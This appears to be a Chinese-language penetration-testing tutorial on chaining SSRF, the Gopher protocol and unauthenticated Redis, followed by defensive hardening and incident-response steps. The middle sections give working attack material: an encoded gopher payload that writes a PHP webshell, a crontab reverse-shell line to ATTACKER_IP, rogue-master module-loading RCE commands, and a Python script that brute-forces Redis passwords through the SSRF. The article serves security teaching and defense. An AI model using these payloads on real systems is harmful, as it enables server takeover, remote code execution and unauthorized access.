从SSRF到Redis未授权访问:Gopher协议攻击链深度剖析与防御
1. 一次内部渗透测试的意外发现那次内部测试的目标是一个看似普通的Web应用一个面向内部员工的文档管理系统。按照常规流程我开始了信息收集和漏洞扫描。应用本身功能简单除了文档上传下载就剩下一个“在线预览”功能允许用户输入一个文档URL系统会抓取并展示内容。这个功能点立刻引起了我的注意因为它直接处理用户提供的URL是SSRFServer-Side Request Forgery服务端请求伪造漏洞的典型温床。我随手构造了几个指向内网知名端口的URL比如http://127.0.0.1:80或者http://localhost:3306想看看有没有基本的端口探测防护。结果发现应用不仅没有对目标地址做任何限制甚至将后端请求的完整响应包括错误信息直接返回到了前端页面上。这意味着我可以通过这个应用的眼睛去窥探服务器本机甚至是整个内网中其他无法从外网直接访问的服务。这种漏洞在内部系统中其实并不少见开发人员往往认为内网环境是“可信的”从而忽略了这类风险。初步探测显示目标服务器的6379端口是开放的并且返回了一个典型的Redis错误响应“-ERR wrong number of arguments for ‘get’ command”。这个响应像一束聚光灯瞬间照亮了后续的攻击路径。一个未授权或弱口令的Redis实例在内网中往往承载着缓存、会话甚至部分业务数据一旦被控制后果可能是灾难性的。接下来的问题就是如何通过这个只能发起HTTP/HTTPS请求的SSRF漏洞去与一个使用纯文本协议的Redis服务进行深度交互答案就藏在那个古老而强大的协议里Gopher。2. 核心攻击链拆解SSRF到Gopher再到Redis要理解整个攻击过程我们需要把链条拆解成几个关键环节每个环节都环环相扣。首先是最基础的SSRF漏洞它允许我们作为攻击者诱导服务器应用向任意内部地址发起网络请求。但大多数SSRF漏洞利用都停留在使用HTTP/HTTPS协议进行端口扫描、读取本地文件如果支持file://协议或者攻击内网Web应用。2.1 为什么Gopher协议是突破口Gopher协议是一个比HTTP还要古老的网络协议设计简单基于纯文本的请求-响应模式。它的关键特性在于客户端发送一个由特定字符如回车\r和换行\n分隔的文本字符串到服务器的特定端口服务器就会执行相应的操作并返回结果。而Redis的通信协议RESPRedis Serialization Protocol虽然是为高性能设计的二进制安全协议但其网络传输格式本质上也是一系列由特定分隔符组织的字符串。这就产生了一个完美的协议转换场景我们可以将我们想发送给Redis的RESP格式命令按照Gopher协议的数据包格式进行封装然后通过存在SSRF漏洞的Web应用发送出去。当这个精心构造的Gopher请求到达目标Redis服务器的6379端口时Redis服务会将其解析为合法的客户端命令并执行。简单来说我们利用SSRF作为“跳板”将Gopher协议作为“运输工具”把攻击载荷Redis命令精准“投递”到了目标Redis服务中。2.2 攻击链全景图整个攻击流程可以概括为以下几步漏洞发现与确认找到存在SSRF漏洞的参数如url并确认其可以访问内网任意IP和端口。目标识别利用SSRF进行内网端口扫描识别出开放的Redis服务默认6379端口。载荷构造将需要执行的Redis攻击命令如写入Webshell、计划任务、主从复制转换为符合Gopher协议格式的Payload。协议封装与编码对Gopher Payload进行必要的URL编码以通过Web应用的参数传递。漏洞利用将最终Payload提交给SSRF漏洞点触发服务器向目标Redis发起Gopher请求执行攻击命令。权限维持与拓展根据Redis执行结果进行下一步操作如访问写入的Webshell、接收反弹的Shell等。这个链条的核心难点和技术细节主要集中在第3步和第4步如何准确无误地构造出Redis能理解的Gopher Payload。这需要对Redis的RESP协议和Gopher协议的数据格式有清晰的理解。3. 深入原理RESP协议与Gopher的碰撞要手工构造有效的Payload不能只依赖工具必须理解背后的协议。这就像开手动挡车虽然自动挡方便但懂得原理才能在出问题时排查。3.1 Redis RESP协议格式速览Redis客户端与服务端的通信使用RESP协议。它简单高效有几种数据类型对于命令传输主要使用“数组”Array。每个命令以“*”开头后面跟数组的元素个数然后每个元素是一个“批量字符串”Bulk String。例如Redis命令SET key value在RESP中的格式是*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n我们来拆解一下*3表示这是一个包含3个元素的数组。\r\n每个部分之间的分隔符CRLF回车换行。$3表示下一个是一个长度为3的批量字符串。SET字符串内容。后续的$3\r\nkey\r\n和$5\r\nvalue\r\n同理。所有的Redis命令无论是FLUSHALL、CONFIG SET还是复杂的SLAVEOF都需要被转换成这种格式的字节流。3.2 Gopher协议请求格式一个Gopher请求的URL格式通常为gopher://host:port/gopher-path。其中gopher-path部分就是客户端要发送给服务器的数据。关键点在于这个路径信息在发送时第一个字符会被作为标识符忽略通常用下划线_后续的所有字符都会原样发送到目标服务器的指定端口。所以如果我们想通过Gopher发送数据到127.0.0.1:6379我们的Payload需要放在gopher://127.0.0.1:6379/_这个下划线之后。发送时_被忽略后面的字节流直接打向6379端口。3.3 两者的结合构造攻击Payload结合以上两点攻击Payload的构造逻辑就清晰了将我们要执行的Redis命令按照RESP格式转换成字节流字符串。将这个字节流作为Gopher路径的一部分拼接到gopher://host:port/_后面。由于这个完整的Gopher URL会作为参数值通过HTTP GET/POST传递通常需要对特殊字符如:/%CRLF等进行URL编码以免被Web服务器或应用本身错误解析。以一个最简单的测试命令PING为例RESP格式*1\r\n$4\r\nPING\r\nGopher URLgopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aPING%0d%0a这里\r\n被URL编码为%0d%0a当存在SSRF漏洞的应用比如参数url接收到这个URL并发起请求时Redis服务端就会收到*1\r\n$4\r\nPING\r\n并响应PONG响应内容可能会通过SSRF的回显功能显示给我们从而证实漏洞存在且可利用。注意不同工具和脚本对Gopher Payload的编码处理可能略有差异。有些工具生成的是已经转义了CRLF的Payload有些则没有。在实际利用时如果Payload执行不成功除了检查命令本身一定要用抓包工具或仔细核对Payload的原始字节确认\r\n是否正确发送。这是我早期踩过的一个大坑两个工具生成的Payload看似一样但一个能执行一个不能最后发现是换行符编码不一致。4. 实战利用从信息泄露到系统沦陷理论清楚了我们进入实战环节。假设我们已经确认目标192.168.1.100:6379存在未授权访问的Redis。4.1 利用一写入Webshell这是最直接的一种利用方式前提是我们知道Web应用的绝对路径。通过SSRF我们可以让Redis将数据持久化到磁盘的指定位置从而写入一个PHP Webshell。攻击步骤如下清空数据库可选避免干扰FLUSHALL设置一个键值对值为Webshell代码SET shell ?php eval($_POST[cmd]);?配置Redis持久化文件目录为Web目录CONFIG SET dir /var/www/html配置持久化文件名CONFIG SET dbfilename shell.php触发保存SAVE将以上命令转换为RESP格式再封装进Gopher URL。这里我们可以使用一些现成的工具来生成比如搜索到的redis-over-gopher.py。但务必理解其输出一个典型的Payload可能如下已进行初步URL编码gopher://192.168.1.100:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Ashell%0D%0A%2431%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A将这个长长的字符串作为SSRF参数如url的值提交。如果成功Web根目录下就会生成一个shell.php文件内容包含Redis的一些元数据和我们的Webshell代码。之后我们就可以通过访问http://target.com/shell.php用POST传递cmdwhoami来执行系统命令了。实操心得CONFIG SET dir的成功与否至关重要。如果路径错误或Redis进程权限不足SAVE会失败。在不确定路径时可以尝试一些常见路径如/tmp、/var/www、/home/www等。写入/tmp目录通常权限较宽松但需要后续有其他利用点如文件包含来触发。4.2 利用二写入Linux计划任务Crontab如果Redis是以root权限运行的这在一些老旧或配置不当的服务器上确实存在我们可以通过写入计划任务的方式获得一个反向Shell。攻击命令如下FLUSHALL SET task \n\n* * * * * /bin/bash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01\n\n CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SAVE这里有几个关键点\n\n用于在crontab文件中换行确保我们的任务是一个独立条目。计划任务路径通常是/var/spool/cron/或/var/spool/cron/crontabs/文件名是对应的用户名如root。这个方法对Ubuntu系统通常无效因为Ubuntu对crontab有格式校验Redis写入的脏数据会导致cron服务崩溃或忽略该文件。这个方法主要适用于CentOS、RedHat等系统。将上述命令构造为Gopher Payload发送后如果成功目标服务器将会每分钟向你的监听IP和端口发起一个反向Shell连接。注意事项这种方法动静较大容易被发现。在实际渗透测试中需谨慎使用并确保获得了授权。同时要确保攻击机的IP和端口能被目标服务器访问无防火墙拦截。4.3 利用三Redis主从复制RCE高阶手法当写入Webshell和计划任务都受限于路径或权限时Redis 4.x/5.x的主从复制功能提供了更强大的利用方式。其核心思想是我们伪装成一个恶意的Redis主服务器Master诱骗目标RedisSlave与我们同步。在同步过程中我们将一个包含恶意代码的Redis模块.so文件传输给目标Redis并命令其加载执行。这个手法技术含量较高但成功率也高且不依赖Web目录权限。步骤如下准备恶意Redis模块需要编译一个特殊的.so文件其中导出了如system.exec这样的命令执行函数。可以使用RedisModules-ExecuteCommand等项目进行编译。搭建恶意Redis主服务器使用如redis-rogue-server这样的工具它会监听一个端口扮演一个支持模块传输的主服务器。你需要将编译好的.so文件放在该工具目录下。通过SSRFGopher发送奴隶化命令向目标Redis发送命令使其成为我们恶意主服务器的从库。SLAVEOF ATTACKER_IP ATTACKER_PORT等待同步完成目标Redis会连接我们的恶意主服务器并同步数据包括我们预设的恶意模块文件。通过SSRFGopher发送模块加载与命令执行指令MODULE LOAD /tmp/module.so # 加载同步过来的模块 system.exec whoami # 调用模块中的命令执行函数 QUIT整个过程的Payload构造更为复杂因为涉及多条命令且需要正确编码。通常直接使用redis-rogue-server这类工具生成全套Payload更为可靠。工具会在你设置好监听IP端口后生成一个对应的Gopher URL你只需将这个URL通过SSRF发送即可。踩坑记录主从复制利用对版本有一定要求通常适用于Redis 4.x和5.x。在实战中我曾遇到目标Redis配置了slave-read-only yes这会导致从库无法执行MODULE LOAD等写操作命令使得利用失败。此外网络连通性目标能否访问你的攻击机是成功的前提。5. 突破认证当Redis需要密码时现实中的Redis可能配置了密码认证。如果密码较弱我们依然可以尝试突破。5.1 认证命令的RESP格式Redis的认证命令是AUTH password。其RESP格式为*2\r\n$4\r\nAUTH\r\n$[密码长度]\r\n[密码]\r\n。例如密码是123456*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\n5.2 构造带认证的复合Payload如果Redis有密码我们需要在攻击序列的最前面加上认证命令。假设密码是123456我们要执行PING那么完整的RESP序列是*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\n*1\r\n$4\r\nPING\r\n将其转换为Gopher URL并编码即可。对于复杂的攻击序列如主从复制只需将认证部分的RESP字符串拼接到原有攻击Payload的前面。5.3 自动化密码爆破如果不知道密码我们可以通过SSRF进行爆破。原理是发送认证命令如果密码错误Redis会返回-ERR invalid password如果密码正确会返回OK并且后续的命令可以正常执行。我们可以通过判断SSRF的响应内容是否包含特定成功执行命令后的回显例如执行INFO命令后的服务器信息来判断密码是否正确。我们可以编写一个简单的Python爆破脚本字典可以先用top100.txt这类弱口令字典尝试。import requests import urllib.parse ssrf_url http://vulnerable-site.com/ssrf.php?url target_redis gopher://192.168.1.100:6379/_ # 假设我们要爆破后执行一个 INFO 命令来验证 info_cmd_resp *1\r\n$4\r\nINFO\r\n # INFO命令的RESP格式 info_cmd_encoded urllib.parse.quote(info_cmd_resp) with open(top100.txt, r) as f: for password in f: password password.strip() auth_cmd f*2\r\n$4\r\nAUTH\r\n${len(password)}\r\n{password}\r\n full_payload auth_cmd info_cmd_resp gopher_payload target_redis urllib.parse.quote(full_payload) final_url ssrf_url urllib.parse.quote(gopher_payload, safe) # 二次编码 try: resp requests.get(final_url, timeout5) if redis_version in resp.text: # INFO命令成功执行的标志 print(f[] Found password: {password}) print(resp.text[:500]) # 打印部分响应 break else: print(f[-] Trying: {password}) except Exception as e: print(f[!] Error with {password}: {e})重要提示爆破会产生大量请求在真实渗透测试中必须谨慎并确保在授权范围内进行。同时要注意目标系统的告警机制。6. 防御视角如何避免成为受害者作为防御方了解攻击手法是为了更好地防护。针对这种“SSRFGopherRedis”的攻击链可以从多个层面进行布防。6.1 应用层根治SSRF漏洞这是最根本的。开发人员需要对用户提供的URL参数进行严格过滤和校验。协议白名单只允许应用需要使用的协议如HTTP和HTTPS明确禁止gopher://、file://、dict://、ftp://等危险协议。URL解析与校验使用安全的URL解析库获取其host并解析为IP地址。对该IP进行判断是否为回环地址127.0.0.0/8,::1是否为内网私有地址10.0.0.0/8,172.16.0.0/12,192.168.0.0/16是否为链路本地地址169.254.0.0/16如果是域名解析后的IP是否属于上述范围目标端口限制只允许访问业务需要的特定端口如80443。响应处理不要将后端请求的原始响应直接返回给前端。只返回处理后的、必要的数据。6.2 中间件与网络层限制访问范围即使应用层存在疏漏网络层的隔离也能有效遏制损失。Redis安全配置强制设置密码在redis.conf中通过requirepass设置一个强密码。禁止远程访问绑定内网IPbind 127.0.0.1或bind 内网IP不要使用bind 0.0.0.0。重命名或禁用危险命令通过rename-command配置项将FLUSHALL、CONFIG、MODULE、SLAVEOF等命令重命名为随机字符串或直接禁用重命名为。以低权限用户运行不要使用root用户运行Redis。网络隔离遵循最小权限原则将Redis服务部署在独立的内部子网中并通过防火墙严格限制访问源。Web应用服务器只能通过特定的规则访问Redis的6379端口其他来源一律拒绝。使用代理或网关对于需要从外网访问Redis的情况使用经过严格认证的代理服务或API网关而不是直接暴露Redis端口。6.3 安全运维持续监控与审计日志审计开启Redis的日志功能监控异常命令特别是CONFIG SET、SLAVEOF、MODULE LOAD等。文件监控对Web目录、/tmp目录、/var/spool/cron/目录进行文件完整性监控或异常写入告警。入侵检测在网络层面部署IDS/IPS设置规则检测异常的、包含Redis RESP协议特征或Gopher协议特征的出站流量。7. 排查与应急如果怀疑已被入侵如果你负责的系统发现了SSRF漏洞或者Redis出现了异常连接可以按照以下步骤进行应急响应立即隔离如果可能将受影响的服务从网络中断开。检查Redis配置登录Redis服务器使用redis-cli连接执行CONFIG GET dir和CONFIG GET dbfilename查看持久化路径和文件名是否被篡改。执行CONFIG GET requirepass检查密码是否被修改或清除。检查redis.conf文件是否被修改。检查可疑文件检查Web目录下是否有陌生的.php、.jsp、.asp文件特别是最近创建的。检查/tmp、/var/tmp等临时目录是否有可疑的.so文件。检查/var/spool/cron/或对应用户的crontab文件crontab -l是否有异常任务。检查进程与连接使用netstat -antp查看是否有异常的外连IP和端口。使用ps aux查看是否有可疑进程。清除后门删除发现的Webshell文件。清理crontab中的恶意任务。如果加载了恶意模块重启Redis服务注意备份数据并检查redis.conf中是否被添加了loadmodule指令。修复漏洞彻底修复SSRF漏洞。按照6.2章节加固Redis配置。更改所有相关系统的密码。溯源分析审查Web应用日志、Redis日志、系统日志确定攻击发生的时间、来源和具体利用方式。这次从SSRF到Redis的完整攻击链剖析再次印证了安全是一个整体。一个看似边缘的功能点URL预览一个默认不安全的服务配置Redis未授权在攻击者眼中就是一条直通核心的捷径。作为防御者唯有深入理解每一环的攻击原理才能构建起真正有效的纵深防御体系。而对于渗透测试人员而言掌握这种将多个中低危漏洞串联形成致命攻击链的思维正是专业能力的体现。在下次测试时当你再看到一个SSRF不妨想想它看到的那个内网端口背后会不会是另一个等待被开启的潘多拉魔盒。